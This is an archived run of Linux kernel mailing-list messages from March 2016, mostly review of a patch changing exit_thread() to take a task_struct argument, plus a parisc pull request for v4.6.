Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Mar 2016 14:03:46 +0100 (CET)
Original-Received: from casper.infradead.org ([85.118.1.10]:48259 "EHLO
        casper.infradead.org" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S27024882AbcCXNDokRSjQ (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 24 Mar 2016 14:03:44 +0100
Original-Received: from j217100.upc-j.chello.nl ([24.132.217.100] helo=twins)
        by casper.infradead.org with esmtpsa (Exim 4.85 #2 (Red Hat Linux))
        id 1aj4um-0006fV-HQ; Thu, 24 Mar 2016 13:03:04 +0000
Original-Received: by twins (Postfix, from userid 1000)
        id 1DF171257A0D9; Thu, 24 Mar 2016 14:03:03 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1458824294-29733-1-git-send-email-jslaby@suse.cz>
User-Agent: Mutt/1.5.21 (2012-12-30)
X-archive-position: 52695
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: peterz@infradead.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:53854 gmane.linux.kernel:2183465 gmane.linux.ports.alpha:3535 gmane.linux.kernel.arc:757 gmane.linux.ports.arm.kernel:487835 gmane.linux.ports.hexagon:989 gmane.linux.ports.ia64:26465 gmane.linux.kernel.metag:1041 gmane.linux.ports.parisc:26540 gmane.linux.ports.ppc64.devel:125153 gmane.linux.ports.sh.devel:53601 gmane.linux.ports.sparc:22621 gmane.linux.uml.devel:15836 gmane.linux.uml.user:15000
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/53854>

On Thu, Mar 24, 2016 at 01:58:13PM +0100, Jiri Slaby wrote:
>  void
> -exit_thread(void)
> +exit_thread(struct task_struct *me)
>  {
>  }

task_struct arguments are called: tsk, task, p
'me' seems very wrong, as that could only mean 'current', and its
clearly not that.



From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH 3/4] exit_thread: accept a task parameter to be exited
Date: Thu, 24 Mar 2016 14:05:03 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <56F3E5FF.9030105@suse.cz>
References: <1458824294-29733-1-git-send-email-jslaby@suse.cz>
 <20160324130303.GS6356@twins.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1458824753 5162 80.91.229.3 (24 Mar 2016 13:05:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Mar 2016 13:05:53 +0000 (UTC)
Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Steven Miao <realmz6@gmail.com>,
        Mark Salter <msalter@redhat.com>,
        Aurelien Jacquiot <a-jacquiot@ti.com>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 24 14:05:44 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aj4xJ-0002S1-Pa
	for sgi-linux-mips@gmane.org; Thu, 24 Mar 2016 14:05:41 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:49828 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27024893AbcCXNF2XGmHQ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Mar 2016 14:05:28 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Mar 2016 14:05:14 +0100 (CET)
Original-Received: from mail-wm0-f68.google.com ([74.125.82.68]:33457 "EHLO
        mail-wm0-f68.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27008135AbcCXNFNl4S0Q (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 24 Mar 2016 14:05:13 +0100
Original-Received: by mail-wm0-f68.google.com with SMTP id u125so12069799wmg.0;
        Thu, 24 Mar 2016 06:05:13 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=w0gDGECLY4N91SQmlmzxK8ngAWehyw5/nDp8z02mnP4=;
        b=iCiLOrFSV8S1L9Zkm8sS7gDqAIy5d03RrK459cjMkELR/LZ/xslvc1LL2rAM0AF75T
         1dIOBuKiQWxxM3WRWC0h1WqW5QwG0G97AbhAAPegRT72s4HwCcZFL2Xi58GQZg4xuW1C
         FxHfkdx/2gH3TVrrVYKAtAH/xCCGe0xLIJbSfZwGdz0cP5au+vhkShmSdmiXxbirsO4V
         6MMQwxGFoEpRb5vxHXGrtGmVuju59gq460YsWXr+PKWmky8X3Azpm3BjzWJ0lfjSffxV
         r+YlB7sfP12g+JoGKKa2Af9HgX84nzh5Hpl89715ks/v9XgveNTMsc/7ci0mCma1K/rv
         kcxA==
X-Gm-Message-State: AD7BkJJOkt85OQBH1bbG3Mf9MbFD7bJiqo7QPlZFpMXcWnu+SOFlCO1qFG4wtpKG/86YZQ==
X-Received: by 10.28.150.4 with SMTP id y4mr10010374wmd.43.1458824708430;
        Thu, 24 Mar 2016 06:05:08 -0700 (PDT)
Original-Received: from ?IPv6:2a01:4240:2e27:ad85:aaaa::19f? (f.9.1.0.0.0.0.0.0.0.0.0.a.a.a.a.5.8.d.a.7.2.e.2.0.4.2.4.1.0.a.2.v6.cust.nbox.cz. [2a01:4240:2e27:ad85:aaaa::19f])
        by smtp.gmail.com with ESMTPSA id e25sm26947397wmi.21.2016.03.24.06.05.04
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 24 Mar 2016 06:05:07 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.0
In-Reply-To: <20160324130303.GS6356@twins.programming.kicks-ass.net>
X-archive-position: 52696
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jslaby@suse.cz
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:53855 gmane.linux.kernel:2183466 gmane.linux.ports.alpha:3536 gmane.linux.kernel.arc:758 gmane.linux.ports.arm.kernel:487836 gmane.linux.ports.hexagon:990 gmane.linux.ports.ia64:26466 gmane.linux.kernel.metag:1042 gmane.linux.ports.parisc:26541 gmane.linux.ports.ppc64.devel:125154 gmane.linux.ports.sh.devel:53602 gmane.linux.ports.sparc:22622 gmane.linux.uml.devel:15837 gmane.linux.uml.user:15001
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/53855>

On 03/24/2016, 02:03 PM, Peter Zijlstra wrote:
> On Thu, Mar 24, 2016 at 01:58:13PM +0100, Jiri Slaby wrote:
>>  void
>> -exit_thread(void)
>> +exit_thread(struct task_struct *me)
>>  {
>>  }
> 
> task_struct arguments are called: tsk, task, p
> 'me' seems very wrong, as that could only mean 'current', and its
> clearly not that.

Ah, OK. I will wait for more feedback and will fix this.

thanks,
-- 
js
suse labs



From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH 3/4] exit_thread: accept a task parameter to be exited
Date: Thu, 24 Mar 2016 15:36:58 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20160324153658.GU19428@n2100.arm.linux.org.uk>
References: <1458824294-29733-1-git-send-email-jslaby@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1458834022 1419 80.91.229.3 (24 Mar 2016 15:40:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Mar 2016 15:40:22 +0000 (UTC)
Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Steven Miao <realmz6@gmail.com>,
        Mark Salter <msalter@redhat.com>,
        Aurelien Jacquiot <a-jacquiot@ti.com>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 24 16:40:05 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aj7Mi-0004LR-8N
	for sgi-linux-mips@gmane.org; Thu, 24 Mar 2016 16:40:04 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:54730 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27014367AbcCXPkA4daJF (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Mar 2016 16:40:00 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Mar 2016 16:39:45 +0100 (CET)
Original-Received: from pandora.arm.linux.org.uk ([78.32.30.218]:49405 "EHLO
        pandora.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27007580AbcCXPjoe0N0F (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 24 Mar 2016 16:39:44 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=pandora-2014;
        h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=NAKSPG7PDxWNTRzT8eeeyXgk7QQAxNM+pQq+uuDQ+3E=;
        b=MmlhFawqWP4SpdnsZisGViB0tVTSy+NiD2cPFB597lCmQkG/9+BfQwPbWwq7mIw/U3kVeNeGTPxCR0jDcTZe8UjRYfrNMhtrLU7GoKZB9x6dx+yyX8Iz3Q+8g/yDKS8y0Zh5EUWtPqED7W0PdZMMEMYVjc8UcrGC923dT/FSBzw=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86]:40189)
        by pandora.arm.linux.org.uk with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
        (Exim 4.82_1-5b7a7c0-XX)
        (envelope-from <linux@arm.linux.org.uk>)
        id 1aj7Jo-0003RB-4d; Thu, 24 Mar 2016 15:37:04 +0000
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.76)
        (envelope-from <linux@n2100.arm.linux.org.uk>)
        id 1aj7Ji-0005D0-KF; Thu, 24 Mar 2016 15:36:58 +0000
Content-Disposition: inline
In-Reply-To: <1458824294-29733-1-git-send-email-jslaby@suse.cz>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-archive-position: 52698
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@arm.linux.org.uk
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:53857 gmane.linux.kernel:2183605 gmane.linux.ports.alpha:3537 gmane.linux.kernel.arc:760 gmane.linux.ports.arm.kernel:487887 gmane.linux.ports.hexagon:991 gmane.linux.ports.ia64:26467 gmane.linux.kernel.metag:1043 gmane.linux.ports.parisc:26542 gmane.linux.ports.ppc64.devel:125158 gmane.linux.ports.sh.devel:53604 gmane.linux.ports.sparc:22623 gmane.linux.uml.devel:15838 gmane.linux.uml.user:15002
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/53857>

On Thu, Mar 24, 2016 at 01:58:13PM +0100, Jiri Slaby wrote:
> We need to call exit_thread from copy_process in a fail path.  So make
> it accept task_struct as a parameter.

Hmm, so what this means is that exit_thread() can now be called for
threads which are not running on the CPU.  So, I think the comment
in arch/arm/vfp/vfpmodule.c needs to be updated:

 *  THREAD_NOTIFY_EXIT
 *   - the thread (v) will be running on the local CPU, so
 *      v === current_thread_info()

along with this change, since that becomes false.

The code, however, looks like it'll cope just fine with that being
false, as will the other users of THREAD_NOTIFY_EXIT in ARM.

Thanks.

-- 
RMK's Patch system: http://www.arm.linux.org.uk/developer/patches/
FTTC broadband for 0.8mile line: currently at 9.6Mbps down 400kbps up
according to speedtest.net.



From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v4.6 rc1
Date: Thu, 24 Mar 2016 22:26:02 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20160324212602.GA5013@ls3530.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1458854788 18249 80.91.229.3 (24 Mar 2016 21:26:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Mar 2016 21:26:28 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 24 22:26:19 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ajCll-0008Ff-Ml
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Mar 2016 22:26:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751209AbcCXV0R (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Mar 2016 17:26:17 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:49215 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750926AbcCXV0Q (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Mar 2016 17:26:16 -0400
Original-Received: from ls3530.fritz.box ([93.223.191.60]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0LlE86-1a9b681jvC-00b0cm; Thu, 24 Mar 2016 22:26:06
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:Sn3lrEhOjC0Iu3VhXOZw5zEEvKpBA0FV70g4bMvgx2W5LnB6KFu
 GmvMziKaCZw5Zh2KjL5roqCyQYOYLbSV8wz85thx9482QXxUSw+Q6jrTrB0OszRMbKhp63C
 hqWMaWMCaVY1YgIluLYjj1wrKM7kwoTr45dLZO2Hd4C5XH4n931K/KAfthksySBw/+h353E
 NY5lWLj4EvORhkuu4GkWA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Syh43z5B104=:ma83uUP/mf6fRf5c3ASl63
 uZemYlC1bSEdZ1RPODt9YePctnTf4wtPc+am35yOfuGXISVhuhAiHgZOa+XieIIU9EPqht9WK
 r/GygEPrx9/ANBGP4hQp1qrY94+seuOqWVp/lzQzezYpaukGi5kGg8zepOI81okn6ivsFJGnX
 yCFNkiSiB3QZwES/KkvYOjld7MbDm7LJWYWhRJVEjdHktnelG/j3UJIAml2AauYrPcjnW5E5f
 MfRmgU20K1tW+24yzRmJ4JA6x4EnOCrXSQFDm8gxTSa0XR4/oPvF/VvhkyiaUYdMjGpnKzMN4
 YKnIX1pVpAmjNX4i/HxmSUDxp3maiddX4Fa0j92y61I81R84+tqpGwPWDNzPBg8hh+XDDXHFJ
 N1X7ePYdWYhJEBWbF3/aezd4IGfzx9Wr99acNTt2jntjP4woIN8R7Vb2db09dje3UbkbX9jp9
 cM7ngqIT4TiT65C+3O2ulN3qeLZSmKylKO4qB/+eoDrblfnqXOqh9uFTrgTXUQAZhrJa1MtGC
 bYT81RXykoXI+cfgmZHE7bDk9bM+NqE4FJ9iXezpe/7Pek33GIdPh4Ine2ixdOqqmZxYZRciM
 G+Y6p0KgFOKEy+MZSlH8SyjTFRYY8rOVUGdr5VWwNMYkI0tTDoM7lZWQTYDjYS4fb/5kvNo+Y
 NBcSPjpZ862VtWPAeaYoWrc2FnGkzY4/t5D/nDmu1ehabNUAq37+AjI4ua8XwuCoUbXpiVa9I
 UJa3cOFWEFcpKX6qaGhERQ8+szy0bbsIMtGit+3rgCidRWSDXqSgMFNZDUE=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26543 gmane.linux.kernel:2183785
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26543>

Hi Linus,

please pull the latest parisc architecture patches for rc1 from:

  http://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.6-1

This patchset adds stack usage debug info for parisc and metag (on both the
stack grows upwards), switches to the new generic realative extable search and
sort routines,  drops the long time ago removed syscalls alloc_hugepages and
free_hugepages and wires up the new preadv2 and pwritev2 syscalls.

Thanks,
Helge

----------------------------------------------------------------
Aaro Koskinen (1):
      parisc: Panic immediately when panic_on_oops

Helge Deller (4):
      parisc: Drop alloc_hugepages and free_hugepages syscalls
      parisc,metag: Implement CONFIG_DEBUG_STACK_USAGE option
      parisc: Use generic extable search and sort routines
      parisc: Wire up preadv2 and pwritev2 syscalls

 arch/parisc/Kconfig                   |  1 +
 arch/parisc/include/asm/assembly.h    |  2 +-
 arch/parisc/include/asm/uaccess.h     |  7 ++++---
 arch/parisc/include/uapi/asm/unistd.h |  8 +++++---
 arch/parisc/kernel/sys_parisc.c       | 10 ----------
 arch/parisc/kernel/syscall_table.S    |  6 ++++--
 arch/parisc/kernel/traps.c            |  5 +----
 arch/parisc/mm/fault.c                |  9 ++-------
 include/linux/sched.h                 |  8 ++++++++
 lib/Kconfig.debug                     |  2 +-
 scripts/sortextable.c                 |  1 +
 11 files changed, 28 insertions(+), 31 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.uml.devel,gmane.linux.ports.alpha,gmane.linux.uml.user,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [3/4] exit_thread: accept a task parameter to be exited
Date: Fri, 25 Mar 2016 19:32:11 +1100 (AEDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <3qWc3w0GCtz9sdm@ozlabs.org>
References: <1458824294-29733-1-git-send-email-jslaby@suse.cz>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1458896219 19893 80.91.229.3 (25 Mar 2016 08:56:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Mar 2016 08:56:59 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-s390@vger.kernel.org, Rich Felker <dalias@libc.org>, Aurelien Jacquiot <a-jacquiot@ti.com>,  Peter Zijlstra <peterz@infradead.org>, Catalin Marinas <catalin.marinas@arm.com>, Will Deacon <will.deacon@arm.com>,  David Howells <dhowells@redhat.com>, Max Filippov <jcmvbkbc@gmail.com>, Paul Mackerras <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,  sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>, Jiri Slaby <jslaby@suse.cz>, Lennox Wu <lennox.wu@gmail.com>, Hans-Christian Egtvedt <egtvedt@samfundet.no>,  Jonas Bonn <jonas@southpole.se>, Chen Liqin <liqin.linux@gmail.com>,  Jesper Nilsson <jesper.nilsson@axis.com>, linux-am33-list@redhat.com,  Russell King <linux@arm.linux.org.uk>, linux-c6x-dev@linux-c6
 x.org, Yoshinori Sato <ysato@users.sourceforge.jp>, linux-sh@vger.kernel.org, Helge Deller <deller@gmx
To: Jiri Slaby <jslaby@suse.cz>, akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Fri Mar 25 09:56:45 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ajNXv-0007zF-F4
	for sgi-linux-mips@gmane.org; Fri, 25 Mar 2016 09:56:43 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:40468 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27025148AbcCYI4jAX214 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 25 Mar 2016 09:56:39 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 25 Mar 2016 09:56:24 +0100 (CET)
Original-Received: from ozlabs.org ([103.22.144.67]:55188 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27008482AbcCYI4VbXFf4 (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 25 Mar 2016 09:56:21 +0100
Original-Received: by ozlabs.org (Postfix, from userid 1034)
        id 3qWc3w0GCtz9sdm; Fri, 25 Mar 2016 19:32:11 +1100 (AEDT)
In-Reply-To: <1458824294-29733-1-git-send-email-jslaby@suse.cz>
X-archive-position: 52699
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mpe@ellerman.id.au
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:53858 gmane.linux.ports.sparc:22631 gmane.linux.ports.hexagon:992 gmane.linux.ports.sh.devel:53611 gmane.linux.kernel.arc:769 gmane.linux.uml.devel:15839 gmane.linux.ports.alpha:3538 gmane.linux.uml.user:15003 gmane.linux.kernel.metag:1044 gmane.linux.ports.arm.kernel:488087 gmane.linux.ports.ia64:26468 gmane.linux.ports.parisc:26544 gmane.linux.kernel:2183946 gmane.linux.ports.ppc64.devel:125169
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/53858>

On Thu, 2016-24-03 at 12:58:13 UTC, Jiri Slaby wrote:
> We need to call exit_thread from copy_process in a fail path.  So make
> it accept task_struct as a parameter.

If I'm counting right 22 of those are empty functions, so would it be a good
clean up to make it optional first?

cheers



From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "zhaoxiu.zeng" <zhaoxiu.zeng@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.sh.devel
Subject: [PATCH 02/31] Include generic parity.h in some architectures'
 bitops.h
Date: Sun, 27 Mar 2016 12:02:26 +0800
Lines: 237
Approved: news@gmane.org
Message-ID: <56F75B52.5070805@gmail.com>
References: <1458788612-4367-1-git-send-email-zhaoxiu.zeng@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=gbk
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459051462 13471 80.91.229.3 (27 Mar 2016 04:04:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Mar 2016 04:04:22 +0000 (UTC)
